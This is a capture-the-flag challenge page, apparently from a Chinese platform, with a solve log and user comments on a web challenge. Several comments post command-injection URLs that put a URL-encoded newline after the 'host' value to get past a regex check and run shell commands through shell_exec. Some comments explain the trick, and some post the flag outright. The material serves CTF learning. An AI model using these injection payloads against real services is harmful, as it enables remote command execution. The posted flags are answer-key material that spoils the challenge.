评分(2)
解题动态
tjuzh 攻破了该题 15小时前
小二000 攻破了该题 15小时前
whzsdsl 攻破了该题 1天前
itsjimo 攻破了该题 2天前
wch 攻破了该题 2天前
naichayaoda 攻破了该题 2天前
mrg 攻破了该题 4天前
dlgz 攻破了该题 4天前
13313864094 攻破了该题 5天前
c&y 攻破了该题 5天前
一刹嫣红 攻破了该题 5天前
heixiong 攻破了该题 5天前
wohinsy 攻破了该题 5天前
世界你好 攻破了该题 6天前
许念安 攻破了该题 6天前
aoshisky 攻破了该题 6天前
haoyun123 攻破了该题 8天前
小楼一夜听春雨 攻破了该题 9天前
zmh666 攻破了该题 9天前
评论
wj834722134 2年前
举报
host参数用%0a结尾,正则表达式/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/为什么能匹配成功?host字符串最后一位'\n'明明不在[0-9a-zA-Z\.-]范围内
网恋秀牛子被录屏导致自卑 9月前
举报
那个$可以匹配到字符串末尾或换行符
cfggfbfxdgbb 10月前
举报
换行了,换行符应该不在正则的匹配规则内
xwWx 1年前
举报
@TOMCAT336699 x0a 是换行的话大概是 正则表达式只匹配换行之前的字符串
TOMCAT336699 1年前
举报
您弄明白了没有,你这个问题,我没找出答案来,谢谢
Tao23 2年前
举报
query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
to5ny 2年前
举报
/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
xzs297995 2年前
举报
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
xiaoxiao972521 2年前
举报
/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
.⎛⎝•̀ω•́⎠⎞. 2年前
举报
1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕
unknown237819 2年前
举报
在本题的正则匹配中,空格无法匹配$前的任何字符,所以%20是不可行的,if的条件都过不了;在whois.verisign-grs.com后加换行是可行的,不仅字符串本身可以过if,换行后相当于重新输命令,即query给出的参数直接执行命令
868954104 2年前
举报
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
vchopin 2年前
举报
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
yituoshi 2年前
举报
Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE